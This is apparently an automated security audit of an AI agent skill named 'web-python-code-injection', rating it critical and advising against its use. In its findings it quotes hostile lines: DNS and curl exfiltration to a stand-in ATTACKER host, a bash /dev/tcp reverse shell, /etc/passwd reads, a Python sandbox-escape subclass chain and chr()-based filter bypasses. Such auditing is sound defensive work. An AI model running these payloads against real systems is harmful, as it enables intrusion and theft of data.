web-python-code-injection

Fail

Audited by Gen Agent Trust Hub on Oct 6, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONOBFUSCATIONPERSISTENCEINDIRECT_PROMPT_INJECTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides numerous functional Python payloads designed to achieve arbitrary code execution on a target system. Examples include using os.popen().read(), os.system(), and subprocess.check_output() to run shell commands.
  • [DATA_EXFILTRATION]: Instructions include payloads to read sensitive files such as /etc/passwd and techniques for exfiltrating data via DNS queries (host $(whoami).ATTACKER.com) and HTTP requests (curl http://ATTACKER:PORT/$(whoami)).
  • [PRIVILEGE_ESCALATION]: The skill details "Sandbox Escape" techniques, specifically using Python subclass chains (e.g., ''.__class__.__mro__[1].__subclasses__()) to bypass restricted environments and access sensitive modules like os or subprocess that were intentionally blocked by the application developer.
  • [OBFUSCATION]: It teaches how to bypass character filters (blocking dots, underscores, or quotes) by using obfuscation techniques such as chr() encoding (e.g., chr(95)*2 for __) and dynamic attribute access via getattr() to hide malicious function calls.
  • [PERSISTENCE]: The skill provides detailed payloads for establishing interactive reverse shells using Bash, Python, and Netcat (e.g., bash -i >& /dev/tcp/ATTACKER/PORT 0>&1), which allows an attacker to maintain a persistent connection to the target system.
  • [COMMAND_EXECUTION]: Instructions explicitly call for the execution of system commands like id, whoami, cat, and network utilities to verify access and impact.
  • [INDIRECT_PROMPT_INJECTION]: The skill defines a methodology for manipulating data that is subsequently passed to unsafe sinks (eval, exec), effectively teaching the agent how to exploit injection vulnerabilities in applications it interacts with.
Recommendations
  • CRITICAL: 1 infected file(s) detected - DO NOT USE
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Oct 6, 2026, 04:11 AM